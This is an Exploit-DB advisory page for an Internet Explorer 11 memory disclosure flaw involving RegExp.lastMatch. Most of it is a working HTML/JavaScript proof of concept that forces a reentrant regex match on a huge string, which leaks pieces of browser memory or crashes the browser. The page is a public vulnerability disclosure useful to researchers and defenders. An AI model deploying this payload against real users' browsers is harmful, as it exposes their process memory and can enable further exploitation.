Internet Explorer - 'RegExp.lastMatch' Memory Disclosure

EDB-ID:

44312


Platform:

Windows

Published:

2018-03-20

/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied.

PoC:

=========================================
*/

<!-- saved from url=(0014)about:internet -->
<script>

function main() {
  RegExp.input = {toString: f};
  alert(RegExp.lastMatch);
}

var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");

function f() {
  String.prototype.match.call(input, "bbbbbbbbbb");
}

main();

</script>

/*
=========================================

Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/